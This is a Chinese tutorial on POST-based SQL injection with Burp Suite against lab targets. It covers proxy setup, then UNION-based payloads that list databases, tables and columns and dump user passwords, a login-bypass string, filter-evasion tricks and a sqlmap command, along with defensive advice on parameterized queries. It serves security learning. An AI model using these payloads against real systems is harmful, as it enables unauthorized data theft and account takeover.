news 2026/9/16 19:32:42

Burpsuite实战:手把手教你搞定POST型SQL注入

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Burpsuite实战:手把手教你搞定POST型SQL注入

做渗透测试的朋友应该都有过这种经历:拿下一个登录框或查询接口,下意识在URL后面加个单引号试了试,页面毫无反应;换成数字型注入点在地址栏里折腾半天,最后还是没打通。问题往往不在你的语句,而在请求方式——这是一个POST请求,参数躺在请求体里,你改URL当然碰不到它。用Burpsuite做POST方式的SQL注入,核心价值就在这里:它能让你站在浏览器和服务器的中间,把请求按住,改完body再放行,还能反复重放同一个请求包,手工验证每一条注入语句。这篇文章我把完整流程拆开讲清楚,从Burp的代理配置、抓包、改包,到手工注入一层层拿库拿表,再到常见报错和过滤绕过,适合刚接触Web安全、正在刷靶场的读者,也适合开发同学自查接口的SQL注入风险。

1. 为什么POST注入要单独拿出来讲:GET和POST在安全测试里的本质差异

1.1 请求参数的位置决定了攻击方式

很多人刚接触注入时,第一节课学的都是用浏览器直接改URL参数,这其实是GET请求的天然特点。GET请求的查询参数拼在URL的问号后面,比如/sqli.php?id=1,你直接在地址栏改成/sqli.php?id=1'就能测试注入点,所见即所得,非常方便。但POST请求完全不同,参数在请求体的body里,URL干干净净只保留路径,你想在地址栏改参数,根本找不到地方下手。

从协议层面看,GET和POST只是HTTP的两种请求方法,但它们的差异直接决定了测试工具链的差别:GET参数会记录在浏览器历史、服务器访问日志、反向代理日志里;POST参数在请求体内,相对更隐蔽一些。GET请求一般用于查询、跳转,POST多用于提交表单、登录、下单这类会改变服务器状态的业务。所以你会发现,真正的高价值注入点,比如登录框、搜索框、用户后台查询接口,几乎都是POST方式。如果没有Burpsuite这类抓包工具,你对着一个POST请求基本等于看不见它的“五脏六腑”。

1.2 Burpsuite在POST注入里的角色为什么不可替代

浏览器自带的开发者工具其实也能看到POST请求的body,甚至能编辑后重新发送。但它在真实测试中有两个很别扭的地方:每次重新发送的都是一个“新请求”,不容易保持完整的Cookie状态;而且你只能在发送之后看到结果,没法在请求出去之前把它按住、自由修改、再放行。Burpsuite的定位是本地代理,所有流量都经过它中转,于是你天然获得了一个“中间人视角”:

  • 在Proxy模块拦截即将发出的POST请求,改完body再Forward;
  • 在HTTP History里看到所有历史请求,随时翻找可疑接口;
  • 把请求右键Send to Repeater,之后就是Repeater的天下——一条请求反复改、反复发,每一条注入语句都能快速验证结果;
  • 后续如果需要爆破密码或枚举盲注字符,Intruder模块还能配合字典做自动化测试。

这套组合拳下来,POST注入的完整流程就在工具层面打通了。社区版Burpsuite(免费版)做手工注入完全够用,不需要一开始就上专业版。

功能社区版专业版
代理抓包、Repeater改包支持支持
手工注入、重放请求支持支持
Intruder爆破与枚举支持但有速度限制支持,速度快
主动漏洞扫描不支持支持
保存项目状态部分受限完整支持
BApp扩展生态部分受限完整支持

我在新手阶段一直用社区版练手工注入,练的就是对SQL执行逻辑的肌肉记忆。专业版多出来的主动扫描虽然方便,但如果你连页面为什么报错、为什么回显都看不明白,扫描报告也只是纸面结果。先把手工流程跑通,再考虑工具提速,这个顺序建议别反。

2. 开工前的环境准备:Burpsuite安装、代理与HTTPS证书

2.1 安装环节的几个容易踩的坑

Burpsuite是基于Java的图形化工具,安装前需要先保证本机有对应版本的JDK。新版Burp(2023年以后)运行在Java 17以上,如果你之前装的是Java 8,直接双击是起不来的,会报一个类似“UnsupportedClassVersionError”的错误。建议先去官网把JDK 17或21装好,再下载Burp的安装包。Kali Linux系统比较省事,官方源里预装了Burp Community,终端执行burpsuite即可启动,日常练手完全够。

下载时认准官网,社区版是Community后缀,专业版是Professional。很多东西你搜“破解版”“激活版”,风险很大,不仅可能带毒,而且违背工具授权协议。我的建议是:练手工注入社区版绰绰有余,真需要专业版功能,按年订阅或企业采购,别在这上面省。

界面语言这块,官方Burp本身是英文界面,实际用到的菜单就那几个(Proxy、Repeater、Intruder、History),英文完全不影响操作。我不太建议装第三方汉化包,来路不明的汉化补丁常有捆绑风险,而且版本更新后大概率失效。与其折腾汉化,不如顺手把几个高频英文单词记下来,对以后查英文文档也有好处。

2.2 浏览器代理与HTTPS证书配置

Burp默认在本机开一个代理端口,默认值是127.0.0.1:8080。要让浏览器的流量经过Burp,需要把浏览器的代理指向这个地址。我习惯用浏览器插件做代理切换,比如FoxyProxy,一键在“走Burp代理”和“直连”之间切换,这样日常浏览网页不需要一直挂在Burp下,也能避免代理开着导致网页打不开的尴尬。手动在系统设置里配置代理也可以,但来回改比较麻烦。

抓HTTPS流量还需要额外做一步:导出并信任Burp的CA证书。不装证书时,浏览器会弹证书警告,页面无法正常访问;装完之后,Burp会用自己生成的证书“冒充”目标站点完成SSL握手,这样它才能解密看到明文HTTP内容。操作流程是:浏览器代理指向Burp后访问http://burp,点击页面右上角的CA Certificate下载证书,然后把它导入到操作系统的“受信任的根证书颁发机构”里。证书这步不做好,你在Repeater里看到的HTTPS请求往往是乱码或者直接报错。

2.3 快速验证Burp环境是否就绪

配置完别急着开测,先用一个简单方法确认链路是通的:打开Burp的Proxy模块,确认Intercept开关是On状态,然后浏览器访问一个普通的http页面。此时浏览器会“卡住”,因为请求被Burp拦住了;切回Burp,在Intercept标签里能看到完整的请求包,点击Forward放行,页面才正常加载。如果能看到这个流程,说明代理链路已经通了。如果拦截不到,优先检查浏览器代理有没有生效、Burp监听端口有没有被其他程序占用,还可以顺便看看本机有没有其他代理类软件占用了8080端口,两边冲突时流量会被“截胡”。

3. 核心实操:用Burp抓取并读懂一个POST请求包

3.1 四个高频模块先认一下

Burp界面复杂,但做POST注入真正高频用到的就四个地方。Proxy模块负责拦截和放行流量,是所有流量的入口,Intercept开关就是这里控制。HTTP History是历史请求记录,相当于一张“刚才发生过什么的流水账”,排查问题时经常翻。Repeater是最重要的手工改包工具,把请求送进去后,左边改内容,右边看响应,来回重放极其方便。Intruder是用来做枚举和爆破的,后面盲注时可以用来做字符猜解,比手动一条条发效率高得多。

3.2 抓取一个POST登录请求的完整流程

我以靶场里的一个POST查询接口为例,参数是id,业务逻辑是“输入用户ID查询用户信息”。在浏览器输入框里随便填一个1,点击查询,注意此时浏览器几乎瞬间就显示了结果,因为Burp默认的拦截状态可能是关闭的。要抓到这一次请求,需要在查询前先把Intercept打开,再触发查询。更稳妥的做法是在抓包前打开拦截开关,然后操作页面;也可以先在HTTP History里找刚才那次请求,右键后Send to Repeater。

抓到POST包后第一时间做的事是:右键选择Send to Repeater(快捷键Ctrl+R),把它从“一次性流量”变成“可反复重放的素材”。之后的整个手工注入过程,基本都在Repeater里进行,不需要再回到浏览器。

3.3 POST请求包逐行拆解

一个典型的POST注入请求包长这样:

POST /vulnerabilities/sqli.php HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept: text/html,application/xhtml+xml Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=abcdef123456; security=low Content-Length: 28 id=1&Submit=Submit

第一行说明请求方法是POST,目标路径是/vulnerabilities/sqli.php。接着的Host代表目标主机和端口。Content-Type声明了body的编码格式,常见的是application/x-www-form-urlencoded,也就是表单提交,body里用key=value&key2=value2的形式组织参数;如果是JSON接口,Content-Type会是application/json,body是JSON格式,注入时改的地方不一样。Cookie头非常关键,很多靶场系统靠Cookie里的SessionID识别登录状态,Repeater里如果没带Cookie,服务器可能返回302跳转到登录页或者直接拒绝访问。空行之后是body,这里才有真正的注入参数。

还有一点容易被忽略:Content-Length。它表示body的字节长度,正常情况下Burp会在你修改body后自动更新这个值。如果某次改完包服务器始终报错,可以回头看看Content-Length和实际body长度是否一致,手动改包时这个值出问题会直接破坏请求。

4. 手工注入完整流程:从探测注入点到拖数据

4.1 先用单引号和逻辑判断确认注入点

拿刚才的请求包练手,在Repeater里把body改成id=1'&Submit=Submit,点击发送。如果页面的响应里出现了SQL语法报错,或者是与正常查询完全不同的异常页面,说明用户输入被直接拼到了SQL语句里,注入点确认存在。这个报错就是最好的向导。

库源码层面,这个逻辑往往是这样的:

$id = $_POST['id']; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

你在id=1'时,实际执行的SQL变成:

SELECT first_name, last_name FROM users WHERE user_id = '1'';

多了一个单引号,导致SQL语句语法不完整,数据库就直接报错了。反过来,如果代码用了参数化查询(PreparedStatement),输入的单引号会被当作普通字符处理,页面不会报错,这就是为什么单引号报错法能快速区分有没有注入。

确认存在注入后,接着用逻辑判断验证:先发送id=1' AND '1'='1,页面正常显示;再发送id=1' AND '1'='2,页面返回空或异常。前后两个请求的SQL逻辑一个是真一个是假,如果页面表现跟着逻辑走了,注入点就非常稳定了。

4.2 用ORDER BY确定查询列数

拿到注入点,下一步要确定目标SQL语句查出几列,这决定了后面用UNION拼接时能填几个字段。方法是在body中加入ORDER BY语句,逐个数字试:

id=1' ORDER BY 1-- id=1' ORDER BY 2-- id=1' ORDER BY 3--

MySQL中--后面必须跟空格或注释符号才算注释,所以我在注入语句后面留了一个空格;也可以用#来注释。当ORDER BY的数字超过了真实列数,数据库会报“Unknown column”之类的错误,页面立刻异常;只要还没超过,页面就正常。假设ORDER BY 3时页面报错,说明这个查询只有2列。

这里需要注意,我通常在客户端输入的1'后面直接跟ORDER BY 1--,这个空格在HTTP body里是原样传输的,用着没问题。如果某些环境对空格做了过滤,就要考虑把空格换成+或者%20再试。

4.3 用UNION SELECT定位回显位

知道列数之后,用UNION SELECT拼接一条自己的SQL查询。比如查出了2列,就发送:

id=-1' UNION SELECT 1,2--

id改成-1,是为了让前面的查询结果为空,这样页面显示的就只有UNION后半段查询的内容。正常情况页面会把数字1和2渲染在结果位置,这两个数字出现的位置就是“回显位”。回显位一旦确定,后面的查询目标就明确了——把数字1或2替换成函数就能看到结果。

在Repeater里实际操作时,我习惯在body直接改这一行,发送一次点一次看响应,响应右侧的渲染结果如果出现了12,就说明回显位找对了。

4.4 获取数据库名和所有库名

先拿到当前数据库的名字,把刚才的回显位1替换成database()

id=-1' UNION SELECT database(),2--

页面上会直接显示类似dvwapikachu这样的数据库名。要获取MySQL中所有的数据库名,可以查information_schema.schemata表:

id=-1' UNION SELECT group_concat(schema_name),2 FROM information_schema.schemata--

group_concat可以把多行结果拼成一行显示,非常适合在这种只能回显一个字段的场景里使用。你会在结果里看到当前数据库所在MySQL实例下所有数据库的名字,信息量一下子变大了。

4.5 逐层获取表名和字段名

拿到库名后,查这个库里有哪些表:

id=-1' UNION SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schema=database()--

在靶场里结果通常会包含users表。接着根据表名查字段名:

id=-1' UNION SELECT group_concat(column_name),2 FROM information_schema.columns WHERE table_name='users'--

注意这里表名带了单引号,如果当前环境对单引号有过滤,可以换成十六进制写法,比如把'users'写成0x7573657273。查字段名这一步特别容易遇到字段名引号被过滤的问题,我后面会在常见问题里展开。

4.6 提取用户数据并处理密文

字段名拿到手,剩下的就是拖数据:

id=-1' UNION SELECT user, password FROM users--

如果userpassword在另一列顺序里,可以用group_concat分别拼出来。拖出来的密码经常是MD5哈希,靶场和CTF里很常见。这时候可以用在线MD5反查平台,或者本地丢给hashcat跑字典。不要指望所有密文都能秒解,但靶场里的弱口令基本都能查到明文。

4.7 顺带聊一下万能密码绕过

POST注入还有一种很常见的应用场景是登录框绕过,也就是所谓“万能密码”。在登录表单的用户名处填入:

username=admin' OR '1'='1'-- &password=whatever

后台SQL拼接后变成类似:

SELECT * FROM users WHERE username='admin' OR '1'='1'-- ' AND password='whatever'

后面的密码校验被注释符号--吃掉了,条件恒为真,于是直接以第一个匹配用户身份登录成功。这个技巧本质就是利用注释符把多余SQL截断,在Burp里做登录接口测试时很容易验证。也要注意,很多登录框如果用的是参数化查询,这种绕过方式会直接失效,所以它主要用在存在拼接漏洞的接口上。

5. 常见报错与排查技巧实录

5.1 Repeater里发送后返回302或者登录页

这是最常遇到的问题之一。你在浏览器里明明登录了靶场,但把请求送进Repeater后,发送出去的请求返回302跳转或者直接跳回登录页。原因几乎都是Cookie问题。Repeater中的请求包虽然保留了最初抓到的Cookie头,但经过几次操作或者服务器Session过期,这个Cookie已经失效了。解决办法很简单:回到浏览器刷新一下靶场页面,重新登录,去HTTP History里找最新的请求,右键Send to Repeater,替换掉旧的请求包。

5.2 代理拦截不到请求

排查步骤按顺序来:确认浏览器的代理是不是指向127.0.0.1:8080;确认Burp Proxy的Intercept开关有没有打开;确认本机是不是还开着其他代理类软件,很多代理加速类工具会占用8080端口或者强制接管浏览器流量,和Burp产生冲突。如果端口被占用,可以在Burp的Proxy Settings里换个端口,比如8081,同时把浏览器代理也改过去。

5.3 Repeater里中文乱码

中文乱码多数出现在响应内容里,页面本身是UTF-8编码,但Burp的显示字体或默认编码不一致。可以在Burp的设置里调整显示字体,也可以在响应内容区右键切换字符集显示。另外,如果你修改参数时把中文直接写进body里,要注意URL编码问题;更常见的办法是在Burp的Repeater里右键选择Convert Selection -> URL-encode,先把中文转换成编码形式再发送。

5.4 注入语句被过滤时的绕过思路

很多靶场在“SQL过滤字符”这类题目里会设置WAF或代码层过滤。空格被过滤时,用/**/替代空格,比如id=1'/**/UNION/**/SELECT/**/1,2--。关键字被过滤时,可以尝试大小写混写(SeLeCt)、双写绕过(ununionion)、内联注释(/*!union*/)。单引号被过滤时,如果是查询表名、字段名,可以用十六进制值代替字符串;如果是在字符串型参数里单引号被吃掉,先看后台过滤逻辑,若只是简单替换,可以用双写。宽字节注入在老版本MySQL配合GBK编码时还有效果,现在大多数据库默认UTF-8,这个技巧适用范围已经比较窄,但CTF里偶尔能看到,知道原理即可。

常见情况排查思路解决参考
Repeater返回302Session失效或未带Cookie重新抓取最新请求包替换
拦截不到流量代理配置错误或端口冲突检查代理设置、更换端口
响应中文乱码编码或字体显示问题调整Burp显示设置、URL编码
空格被过滤输入被拼接但过滤空白使用/**/+代替空格
单引号被过滤字符串被转义或替换尝试宽字节、十六进制或双写
关键字被过滤WAF或代码层拦截大小写、双写、内联注释绕过

5.5 页面完全没回显时的盲注思路

如果页面没有回显位,或者干脆没有报错,说明目标不适合用UNION注入,这时候要转盲注。布尔盲注的核心是让页面出现“真/假”两种差异,比如用substring(database(),1,1)='a'配合and逐字符猜解;时间盲注则是用if(条件, sleep(3), 0)让响应时间出现明显延迟,用延迟判断条件真假。手工盲注非常磨人,但在Burp里可以用Intruder把待猜字符做成字典,对条件语句进行批量枚举,效率能提上去。等手工思路清晰了,也可以借助sqlmap加速:

sqlmap -u "http://127.0.0.1:8080/vulnerabilities/sqli.php" --data="id=1&Submit=Submit" --cookie="PHPSESSID=xxxx; security=low" --dbs

--data参数指定POST请求体,--cookie指定登录会话。但我一直强调,sqlmap是在你理解原理之后的辅助,如果连手工注入语句都看不明白,报错信息摆在眼前也看不懂,自动化工具只会给你一堆看不懂的报告。

6. 实操心得:几个提高成功率的小细节

6.1 我习惯在Repeater里保留一条“干净基线”

在开始注入之前,先发送一次正常的id=1请求,把正常响应的长度、页面特征记下来。之后每次修改body,对比当前响应和基线响应之间的差异,判断语句是否生效。这个习惯在处理盲注和无回显场景时几乎是救命稻草——哪怕页面没有完整回显,只要响应长度、状态码、关键字出现/消失跟着条件变化,就算有突破口。

6.2 开发人员如何从这轮操作里反推防御

如果你不是专职安全测试,而是开发同学看完这篇文章,我建议把重点放在“为什么单引号会让SQL出问题”上。修复手段就是数据库操作全部改参数化查询,不要用字符串拼接SQL;即便出于历史原因用了拼接,也必须对输入做严格的类型校验和白名单过滤。再往后就是数据库账号权限最小化,不要把DBA权限分给业务库账号。手工注入做多了你会有一个感觉:绝大多数注入点都是因为“相信了外部输入”,而防御的核心就是“默认外部输入不可信”。Burpsuite是一把很好用的测试工具,但请一定在授权的靶场、CTF或自己的测试环境里操作,真实的线上系统测试必须要有明确授权,这个底线不能碰。

最后再分享一个小经验:POST注入的请求包在Burp里改起来,其实比GET注入更“干净”,因为参数集中在一个body里,逻辑清楚,不容易被URL编码干扰。遇到一个可疑接口,先把请求完整抓到Repeater里,按单引号报错、逻辑判断、ORDER BY、UNION这条线走一遍,大部分题目都能顺利解出来。这几步练熟之后,再看到盲注题和WAF绕过的题目,你的手感会完全不一样。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/16 19:32:16

ddddocr中文验证码识别实战:开箱即用的自动化登录方案

1. 项目概述:为什么是 ddddocr,而不是其他方案? 最近帮一个做电商数据采集的朋友解决登录问题,他卡在验证码这一步整整三天——手动输入太慢,用传统 OpenCV Tesseract 做二值化OCR,对扭曲、粘连、带干扰线…

作者头像 李华
网站建设 2026/9/16 19:32:02

MD5在线加密核心JS实现:从原理到文件校验的完整指南

做了这么多年前端,MD5这个算法算是绕不开的老熟人了。业务系统里要对文件做完整性校验、要对登录参数做签名、要根据内容生成唯一标识,后端跑个MD5很容易,但一旦场景切到纯前端——比如你要做一个把数据完全留在本地的在线工具、要离线使用&a…

作者头像 李华
网站建设 2026/9/16 19:31:05

银河麒麟V10 SP3双密码遗忘救援:GRUB与root密码重置实战指南

前阵子帮一家客户处理了一台银河麒麟V10 SP3服务器,情况很典型:上一任管理员给GRUB启动菜单加了密码,又把系统root密码改了,然后人直接失联。设备摆在机房里,业务验收在即,开机到GRUB菜单这一步就卡死&…

作者头像 李华
网站建设 2026/9/16 19:30:53

VS Code透明背景与背景图片设置:从插件到CSS的完整指南

说实话,很多人一看到“vscode透明背景以及背景图片设置”这类需求,第一反应是“花里胡哨,有什么用”。但我自己实际用下来,这还真不是纯粹的外观折腾。整天盯着代码的人,换一个柔和的背景图,或者把窗口搞成…

作者头像 李华
网站建设 2026/9/16 19:30:45

抓包证书不受信任?TLS信任链与多环境证书配置详解

1. 抓包证书“不受信任”不是 bug,是 TLS 信任链的刚性设计你用 Charles 或 Fiddler 抓包时,浏览器弹出“您的连接不是私密连接”,Android App 提示 SSLHandshakeException,Java 程序跑着跑着突然抛出javax.net.ssl.SSLHandshakeE…

作者头像 李华